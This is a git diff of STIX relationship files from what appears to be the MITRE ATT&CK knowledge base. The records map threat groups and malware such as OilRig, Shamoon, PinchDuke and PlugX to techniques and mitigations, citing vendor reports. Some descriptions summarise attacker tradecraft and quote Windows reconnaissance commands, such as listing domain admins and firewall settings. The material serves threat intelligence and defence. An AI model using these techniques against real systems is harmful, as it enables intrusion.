diff --git a/enterprise-attack/relationship/relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df.json b/enterprise-attack/relationship/relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df.json
new file mode 100644
index 0000000000..20967941e3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--80b7645f-bc39-4957-b612-0ee78cf174a1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has installed Web shells onto victim Web servers.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27.json b/enterprise-attack/relationship/relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27.json
new file mode 100644
index 0000000000..14e63b931c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0369016c-d697-4ae2-8d90-9f7fb842b680",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used HTTP and IRC for C2.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2dec6ce1-e459-4266-86d5-f336ab056f17.json b/enterprise-attack/relationship/relationship--2dec6ce1-e459-4266-86d5-f336ab056f17.json
index 6227f3ecc5..393acea09b 100644
--- a/enterprise-attack/relationship/relationship--2dec6ce1-e459-4266-86d5-f336ab056f17.json
+++ b/enterprise-attack/relationship/relationship--2dec6ce1-e459-4266-86d5-f336ab056f17.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65fe2df2-4264-46f6-b18b-ce8ad98be38e",
+    "id": "bundle--0a44f64a-4551-42f7-a689-0041e3231b8d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2dec6ce1-e459-4266-86d5-f336ab056f17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE is capable of deleting Registry keys, sub-keys, and values on a victim system.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--2df910df-37cc-4349-96c3-f938fa5a9054.json b/enterprise-attack/relationship/relationship--2df910df-37cc-4349-96c3-f938fa5a9054.json
index 7a8299d53c..5ff652211a 100644
--- a/enterprise-attack/relationship/relationship--2df910df-37cc-4349-96c3-f938fa5a9054.json
+++ b/enterprise-attack/relationship/relationship--2df910df-37cc-4349-96c3-f938fa5a9054.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e6781e2b-e696-4a1c-bd60-11d861063c3f",
+    "id": "bundle--7b9875a4-238d-4d9f-9ec7-9bec218cfa70",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2df910df-37cc-4349-96c3-f938fa5a9054",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5.json b/enterprise-attack/relationship/relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5.json
index 0864e57304..5d5d2e636e 100644
--- a/enterprise-attack/relationship/relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5.json
+++ b/enterprise-attack/relationship/relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--18a795c5-39a2-4ab8-aec3-e57ec48294fb",
+    "id": "bundle--97b89f6b-dd2d-42ee-b3a3-66c2e62eba49",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon queries several Registry keys to identify hard disk partitions to overwrite.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--2e367a09-1d94-4ea4-984c-a592b769fffa.json b/enterprise-attack/relationship/relationship--2e367a09-1d94-4ea4-984c-a592b769fffa.json
index 772152a799..e5abe87a39 100644
--- a/enterprise-attack/relationship/relationship--2e367a09-1d94-4ea4-984c-a592b769fffa.json
+++ b/enterprise-attack/relationship/relationship--2e367a09-1d94-4ea4-984c-a592b769fffa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--87ac899e-bf82-4202-bd24-e0b770e0e8d8",
+    "id": "bundle--f70291cc-2f1e-4eb0-97a1-36b69cb257fb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2e367a09-1d94-4ea4-984c-a592b769fffa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
diff --git a/enterprise-attack/relationship/relationship--2e3b8b06-5148-4313-8b1b-d75789838c84.json b/enterprise-attack/relationship/relationship--2e3b8b06-5148-4313-8b1b-d75789838c84.json
new file mode 100644
index 0000000000..785fdf34e5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2e3b8b06-5148-4313-8b1b-d75789838c84.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--f6002c3e-76fb-420f-90e4-dd7e2105d7b4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2e3b8b06-5148-4313-8b1b-d75789838c84",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2",
+            "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2e44b66a-0f81-4f60-94aa-c450556bc243.json b/enterprise-attack/relationship/relationship--2e44b66a-0f81-4f60-94aa-c450556bc243.json
index e96cc5b5fe..41c18a2239 100644
--- a/enterprise-attack/relationship/relationship--2e44b66a-0f81-4f60-94aa-c450556bc243.json
+++ b/enterprise-attack/relationship/relationship--2e44b66a-0f81-4f60-94aa-c450556bc243.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2f5aaa51-919c-4a8e-a055-d16fb6648d53",
+    "id": "bundle--6c884311-ec6a-4be6-b188-9892d3ee1cbf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2e44b66a-0f81-4f60-94aa-c450556bc243",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes establishes persistence by adding a Registry Run key.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--2e45dc12-f493-42ea-829e-011ba786bef1.json b/enterprise-attack/relationship/relationship--2e45dc12-f493-42ea-829e-011ba786bef1.json
index 83dc6021cb..97a8204b94 100644
--- a/enterprise-attack/relationship/relationship--2e45dc12-f493-42ea-829e-011ba786bef1.json
+++ b/enterprise-attack/relationship/relationship--2e45dc12-f493-42ea-829e-011ba786bef1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--366612a4-92bd-4882-b499-b9c694fc728c",
+    "id": "bundle--a184549d-4d81-4c1e-8c57-ff1f6cc201c7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2e45dc12-f493-42ea-829e-011ba786bef1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--2e5039ef-913f-4808-9685-32f64f4dbf49.json b/enterprise-attack/relationship/relationship--2e5039ef-913f-4808-9685-32f64f4dbf49.json
new file mode 100644
index 0000000000..29c123b2a0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2e5039ef-913f-4808-9685-32f64f4dbf49.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2c3db141-e8cb-4169-af47-020dee7563c2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2e5039ef-913f-4808-9685-32f64f4dbf49",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "deletes its payload along with the payload's parent process after it finishes copying files.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf.json b/enterprise-attack/relationship/relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf.json
index cdf7bafe91..fcc48459d3 100644
--- a/enterprise-attack/relationship/relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf.json
+++ b/enterprise-attack/relationship/relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bed94062-aef8-4b48-a67d-94b0932ab989",
+    "id": "bundle--a0b89f0c-e38c-4afc-b0d5-7e3895636a40",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c",
             "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
diff --git a/enterprise-attack/relationship/relationship--2e69a835-6443-455e-8ff0-775bb8c823f1.json b/enterprise-attack/relationship/relationship--2e69a835-6443-455e-8ff0-775bb8c823f1.json
index 7f7447d91b..08ebd3eee7 100644
--- a/enterprise-attack/relationship/relationship--2e69a835-6443-455e-8ff0-775bb8c823f1.json
+++ b/enterprise-attack/relationship/relationship--2e69a835-6443-455e-8ff0-775bb8c823f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5142ed56-4416-4f8b-9267-441467973813",
+    "id": "bundle--eae4edbb-e0f5-4be1-bbc1-58a0545f9ec1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2e69a835-6443-455e-8ff0-775bb8c823f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on local user accounts from the victim.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
diff --git a/enterprise-attack/relationship/relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d.json b/enterprise-attack/relationship/relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d.json
index cc3284b663..7900f5fc61 100644
--- a/enterprise-attack/relationship/relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d.json
+++ b/enterprise-attack/relationship/relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--42049c27-faed-4d38-9d36-14a3f143ce27",
+    "id": "bundle--8b6af259-8c60-4a35-b4ad-ffb138c91ca1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Naikon uses commands such as <code>netsh advfirewall firewall</code> to discover local firewall settings.",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
diff --git a/enterprise-attack/relationship/relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc.json b/enterprise-attack/relationship/relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc.json
index bb55f4bd47..da02d4ad1c 100644
--- a/enterprise-attack/relationship/relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc.json
+++ b/enterprise-attack/relationship/relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7b89d75c-137c-438e-a0fd-d876f516acca",
+    "id": "bundle--bdcfacfc-3832-4503-ad54-9addd0c7c85b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, Internet Explorer, Microsoft Outlook, WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
diff --git a/enterprise-attack/relationship/relationship--2e82ef21-9fb2-421e-bd96-73599089b448.json b/enterprise-attack/relationship/relationship--2e82ef21-9fb2-421e-bd96-73599089b448.json
new file mode 100644
index 0000000000..b9b6429526
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2e82ef21-9fb2-421e-bd96-73599089b448.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d2f92e13-baae-4898-b3d1-7721062bbb39",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2e82ef21-9fb2-421e-bd96-73599089b448",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens uses ZPP, a .NET console program, to compress files with ZIP.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98.json b/enterprise-attack/relationship/relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98.json
index 3dbc47f65c..1d7fc70a77 100644
--- a/enterprise-attack/relationship/relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98.json
+++ b/enterprise-attack/relationship/relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc9c26db-7a41-4969-8d5f-e8393a9ac2ab",
+    "id": "bundle--595c6be1-99c5-4fe7-a008-5ffdad008da0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be configured to use raw TCP or UDP for command and control.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0.json b/enterprise-attack/relationship/relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0.json
index 20c720136e..241e9df60c 100644
--- a/enterprise-attack/relationship/relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0.json
+++ b/enterprise-attack/relationship/relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f85b218b-02e0-43ca-b5d3-2be410b8db49",
+    "id": "bundle--e8f9cf52-8051-491a-80e7-052cba1ca7e7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>net group \"domain admins\" /domain</code> to display accounts in the \"domain admins\" permissions group and <code>net localgroup \"administrators\"</code> to list local system administrator group membership.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--2f507d82-1df4-4c9c-804a-2e6060944142.json b/enterprise-attack/relationship/relationship--2f507d82-1df4-4c9c-804a-2e6060944142.json
new file mode 100644
index 0000000000..c9e4e48a44
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2f507d82-1df4-4c9c-804a-2e6060944142.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--bb242692-2c5f-41b9-bb18-776079f379bd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2f507d82-1df4-4c9c-804a-2e6060944142",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A version of Daserf uses the MPRESS packer.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2f5f2d31-739e-4dc5-b137-840401985244.json b/enterprise-attack/relationship/relationship--2f5f2d31-739e-4dc5-b137-840401985244.json
index cc01550a5d..6e56bb11d3 100644
--- a/enterprise-attack/relationship/relationship--2f5f2d31-739e-4dc5-b137-840401985244.json
+++ b/enterprise-attack/relationship/relationship--2f5f2d31-739e-4dc5-b137-840401985244.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d64aa850-07e0-4ffb-8c7b-b302f56c434a",
+    "id": "bundle--8ce7c064-1e78-4874-a265-77f237c73fe0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2f5f2d31-739e-4dc5-b137-840401985244",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec contains a keylogger component.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7.json b/enterprise-attack/relationship/relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7.json
new file mode 100644
index 0000000000..d989a8469e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4fb48470-951c-47d1-a625-40e871d67ddf",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens has used PowerShell Empire.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8.json b/enterprise-attack/relationship/relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8.json
index b8aff99f8b..e2098f2536 100644
--- a/enterprise-attack/relationship/relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8.json
+++ b/enterprise-attack/relationship/relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b359010-a83f-4a07-b6e6-608932c2af17",
+    "id": "bundle--b54c4bdc-a0f7-47d9-b671-3a6f02e865ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK is capable of performing remote command execution.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167.json b/enterprise-attack/relationship/relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167.json
new file mode 100644
index 0000000000..a8c21ab4b7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--8375aea1-79d9-4b6a-9cf9-3d6ed2e834cd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by creating a .lnk file in the Start menu. ",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
